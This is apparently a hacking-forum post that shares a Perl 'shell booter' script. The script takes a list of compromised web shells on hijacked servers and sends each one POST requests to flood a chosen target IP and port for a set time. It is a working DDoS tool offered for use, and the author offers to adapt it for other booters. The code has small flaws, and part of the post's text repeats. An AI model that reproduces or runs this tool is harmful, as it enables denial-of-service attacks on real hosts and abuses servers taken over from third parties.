Simple Perl Shell Booter 09-16-2012, 03:42 AM
#1
Headnote: I wrote this a while back for my employer. They recently tested it, found there were a few modules that need installation. I don't know what they are, they seem to vary depending on system.
-- Start Content --
I absolutely do not guarantee this to be in working condition.
Usage:
perl booter.pl 127.0.0.1 80 60 < shells.txt
127.0.0.1 is host. Can be dns, shells don't care.
80 is port. This is only used for "tcp" shells.
60 is time. This is how long it boots for. This goes for a divisible of 10 seconds, so 55 would boot for 60 seconds.
shells.txt is a file with all your shells, and is in the following format.
"tcp" shells are ones that ask for a port, time, and host. "udp" shells don't ask for port.
If you need it adapted for additional use, such as shell booters (different from udp/tcp shells), putty booters, et al, just let me know.
Following: The booter.pl file:
-- Start Content --
I absolutely do not guarantee this to be in working condition.
Usage:
perl booter.pl 127.0.0.1 80 60 < shells.txt
127.0.0.1 is host. Can be dns, shells don't care.
80 is port. This is only used for "tcp" shells.
60 is time. This is how long it boots for. This goes for a divisible of 10 seconds, so 55 would boot for 60 seconds.
shells.txt is a file with all your shells, and is in the following format.
Code:
tcp;http://bot.fak/shell.php
udp;http://udpbot.fak/shell.php"tcp" shells are ones that ask for a port, time, and host. "udp" shells don't ask for port.
If you need it adapted for additional use, such as shell booters (different from udp/tcp shells), putty booters, et al, just let me know.
Following: The booter.pl file:
Code:
#!/usr/bin/perl
use strict;
use warnings;
use HTTP::Request::Common;
use HTTP::Request::Common::Post;
use POE;
use POE::Component::Client::HTTP;
my @shells;
while (<STDIN>) {
push @shells, $_;
}
$ip = $ARGV[0];
$port = $ARGV[1];
$time = $ARGV[2];
if ($ip !~ m/.*?\..*?\..*?\..*?/) {
print "ERROR: Must specify IP.\n";
die;
}
if ($port !~ m/\d*?/) {
print "ERROR: Must specify PORT.\n";
die;
}
if (!$time) {
$time = 15;
}
my @udpshells;
my @tcpshells;
foreach my $shell (@shells) {
if ($shell =~ m/^udp;(.*)/) {
push @udpshells, $1;
} elsif ($shell =~ m/^tcp;(.*)/) {
push @tcpshells, $1;
}
}
my @url_list;
foreach my $shell (@udpshells) {
@url_list = (@url_list, ( POST $shell, Content => [ ip => $ip, time => 10 ] ) );
}
foreach my $shell (@tcpshells) {
@url_list = (@url_list, ( POST $shell, Content => [ host => $ip, port => $port, time => 10 ] ) );
}
POE::Component::Client::HTTP->spawn(Alias => 'ua');
sub got_response {
my ($heap, $request_packet, $response_packet) = @_[HEAP, ARG0, ARG1];
my $http_request = $request_packet->[0];
my $tag = $request_packet->[1];
my $http_response = $response_packet->[0];
my $response_string = $http_response->as_string();
}
sub _start {
my $kernel = $_[KERNEL];
foreach my $i (0 .. $#url_list) {
$kernel->post("ua" => "request", "got_response", $url_list[$i], $i);
}
$time -= 10;
if ($time > 0) {
$kernel->delay(_start => 10);
}
}
POE::Session->create(package_states => [main => ["_start", "got_response"]]);
$poe_kernel->run();
FART BUBBLES!







![[+]](https://sinister.li/images/modern/collapse_collapsed.png)















